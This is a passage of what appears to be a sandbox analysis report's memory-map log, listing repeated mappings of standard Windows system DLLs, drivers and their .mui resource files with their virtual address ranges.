"c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5351 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5352 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5353 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5354 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5355 start_va = 0x20abc380000 end_va = 0x20abc38ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 5356 start_va = 0x20abc5e0000 end_va = 0x20abc651fff monitored = 0 entry_point = 0x20abc637000 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 5357 start_va = 0x20abc380000 end_va = 0x20abc38ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 5358 start_va = 0x20abc5e0000 end_va = 0x20abc651fff monitored = 0 entry_point = 0x20abc637000 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 5359 start_va = 0x20abc380000 end_va = 0x20abc398fff monitored = 0 entry_point = 0x20abc38b610 region_type = mapped_file name = "eqossnap.dll" filename = "\\Windows\\System32\\eqossnap.dll" (normalized: "c:\\windows\\system32\\eqossnap.dll") Region: id = 5360 start_va = 0x20abc3a0000 end_va = 0x20abc3a5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eqossnap.dll.mui" filename = "\\Windows\\System32\\en-US\\eqossnap.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\eqossnap.dll.mui") Region: id = 5361 start_va = 0x20abc380000 end_va = 0x20abc398fff monitored = 0 entry_point = 0x20abc38b610 region_type = mapped_file name = "eqossnap.dll" filename = "\\Windows\\System32\\eqossnap.dll" (normalized: "c:\\windows\\system32\\eqossnap.dll") Region: id = 5362 start_va = 0x20abc3a0000 end_va = 0x20abc3a5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eqossnap.dll.mui" filename = "\\Windows\\System32\\en-US\\eqossnap.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\eqossnap.dll.mui") Region: id = 5363 start_va = 0x20abc380000 end_va = 0x20abc387fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 5364 start_va = 0x20abc5e0000 end_va = 0x20abc7c8fff monitored = 0 entry_point = 0x20abc5e15f0 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 5365 start_va = 0x20abc380000 end_va = 0x20abc387fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 5366 start_va = 0x20abc5e0000 end_va = 0x20abc7c8fff monitored = 0 entry_point = 0x20abc5e15f0 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 5367 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 5368 start_va = 0x20abc5e0000 end_va = 0x20abc639fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 5369 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 5370 start_va = 0x20abc5e0000 end_va = 0x20abc639fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 5371 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 5372 start_va = 0x20abc5e0000 end_va = 0x20abc6bffff monitored = 0 entry_point = 0x20abc672eb0 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 5373 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 5374 start_va = 0x20abc5e0000 end_va = 0x20abc6bffff monitored = 0 entry_point = 0x20abc672eb0 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 5375 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc390420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5376 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5377 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc390420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5378 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5379 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc390420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5380 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5381 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc390420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5382 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5383 start_va = 0x20abc380000 end_va = 0x20abc399fff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 5384 start_va = 0x20abc3a0000 end_va = 0x20abc3a5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 5385 start_va = 0x20abc380000 end_va = 0x20abc399fff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 5386 start_va = 0x20abc3a0000 end_va = 0x20abc3a5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 5387 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 5388 start_va = 0x20abc5e0000 end_va = 0x20abc69bfff monitored = 0 entry_point = 0x20abc61c480 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 5389 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 5390 start_va = 0x20abc5e0000 end_va = 0x20abc69bfff monitored = 0 entry_point = 0x20abc61c480 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 5391 start_va = 0x20abc380000 end_va = 0x20abc3aafff monitored = 0 entry_point = 0x20abc39d000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5392 start_va = 0x20abc3b0000 end_va = 0x20abc3b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5393 start_va = 0x20abc380000 end_va = 0x20abc3aafff monitored = 0 entry_point = 0x20abc39d000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5394 start_va = 0x20abc3b0000 end_va = 0x20abc3b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5395 start_va = 0x20abc380000 end_va = 0x20abc3aafff monitored = 0 entry_point = 0x20abc39d000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5396 start_va = 0x20abc3b0000 end_va = 0x20abc3b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5397 start_va = 0x20abc380000 end_va = 0x20abc3aafff monitored = 0 entry_point = 0x20abc39d000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5398 start_va = 0x20abc3b0000 end_va = 0x20abc3b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5399 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5400 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5401 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5402 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5403 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5404 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5405 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5406 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5407 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5408 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5409 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5410 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5411 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5412 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5413 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5414 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5415 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5416 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5417 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5418 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5419 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5420 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5421 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5422 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5423 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5424 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5425 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5426 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5427 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5428 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5429 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5430 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5431 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5432 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5433 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5434 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5435 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5436 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5437 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5438 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5439 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5440 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5441 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5442 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5443 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5444 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5445 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5446 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5447 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5448 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5449 start_va = 0x20abc380000 end_va = 0x20abc39cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5450 start_va = 0x20abc5e0000 end_va = 0x20abc646fff monitored = 0 entry_point = 0x20abc5e63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5451 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 5452 start_va = 0x20abc5e0000 end_va = 0x20abc639fff monitored = 0 entry_point = 0x20abc625b00 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 5453 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 